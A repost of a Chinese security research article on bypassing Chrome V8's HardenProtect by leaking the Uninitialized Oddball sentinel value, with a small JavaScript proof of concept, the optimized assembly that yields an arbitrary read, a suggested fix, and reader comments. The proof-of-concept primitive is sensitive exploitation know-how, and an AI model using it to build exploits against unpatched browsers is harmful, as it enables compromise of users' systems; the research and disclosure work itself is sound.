Chrome V8引擎再现安全漏洞:Sentinel Value泄露可绕过沙箱

robot
摘要生成中

通过泄露Sentinel Value绕过Chrome V8 HardenProtect

Sentinel value是算法中的特殊值,常用于循环或递归算法的终止条件。Chrome源码中存在多个Sentinel value。之前有研究指出如何利用TheHole对象泄露实现沙箱内任意代码执行。本文将讨论另一个V8原生对象 - Uninitialized Oddball,该方法目前仍可用于最新版V8。

这种方法具有普遍性:

  1. Issue1216437中首先提出了泄露internal uninitialized oddball的概念。

  2. Issue1314616中也直接泄露了UninitializedOddball,虽然当时利用方法尚不清晰。

  3. Issue1352549值得关注其潜在影响。

目前某些软件仍未修复该漏洞。

V8中的大多数原生对象定义在v8/src/roots/roots.h文件中,这些对象在内存中相邻排布。一旦将不应泄露的原生对象暴露给JavaScript,就可能实现沙箱内任意代码执行。

为验证该方法,可以修改V8的native函数,将Uninitialized Oddball泄露到JavaScript中。具体可修改%TheHole()函数中相对isolate的偏移。

该绕过方法的核心代码如下:

javascript function read(obj, prop) { return obj[prop]; }

let uninitialized_oddball = %TheHole(); let arr = [1.1, 2.2, 3.3];

for (let i = 0; i < 100000; i++) { read(arr, 0);
}

let val = read(uninitialized_oddball, 0); console.log(val);

在V8 11.0.0中测试,当%TheHole()返回UninitializedOddball时,仍可实现相对任意读。

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

优化后的read函数关键汇编如下:

0x558b20004086 mov r11,rdi 0x558b20004089 movzx edi,byte ptr [r11+0xb] 0x558b2000408d cmp edi,0x81 0x558b20004093 jnz 0x558b200040d8 0x558b20004095 mov r9,qword ptr [r11+0xf] 0x558b20004099 test esi,esi 0x558b2000409b js 0x558b200040d8 0x558b2000409d movsxd r11,esi 0x558b200040a0 cmp r11,qword ptr [r9+0xf] 0x558b200040a4 jae 0x558b200040d8 0x558b200040a6 vmovsd xmm0,[r9+r11*8+0x7]

当传入uninitialized_oddball时,从0x558b20004086开始以obj为起点计算,最终在vmovsd指令中完成任意读,数据保存在xmm0寄存器中。

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

建议修复方法是在优化后的函数返回数组元素时,添加对数组map的检查,避免直接计算偏移返回数组值。

值得注意的是,某些软件仍未修复该漏洞。x86平台下利用方式略有不同,由于没有地址压缩,任意读写是相对于整个进程的。即使开启了ASLR,由于文件过大,仍有较大概率读写到目标内容。

这种新的绕过方法大大降低了之前类似漏洞的利用难度。建议重新审视所有泄露uninitialized_oddball的漏洞。

V8中还存在其他Sentinel value,它们同样可能导致类似问题。这给我们以下启示:

  1. 其他uninitialized_Oddball泄露是否也易于实现V8 RCE。

  2. 此类问题是否应被正式视为安全问题仍存在争议。

  3. Fuzzer中是否应将Sentinel value作为变量加入以发掘新的利用原语。

无论如何,这类问题都会大大缩短黑客实现完整利用的周期。

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

此页面可能包含第三方内容,仅供参考(非陈述/保证),不应被视为 Gate 认可其观点表述,也不得被视为财务或专业建议。详见声明
  • 赞赏
  • 5
  • 分享
评论
0/400
ZK证明爱好者vip
· 07-09 11:53
众所周知 V8驱动世界
回复0
SleepyValidatorvip
· 07-06 23:01
Chrome 真不是盖的啊 稳
回复0
闪电佬vip
· 07-06 17:06
漏洞这么大居然还没修?
回复0
ForkItAllvip
· 07-06 17:00
v8这漏洞真是ybb啊
回复0
FUD Vaccinatorvip
· 07-06 16:51
又一个重大漏洞 一直用火狐真香
回复0
交易,随时随地
qrCode
扫码下载 Gate APP
社群列表
简体中文
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Bahasa Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)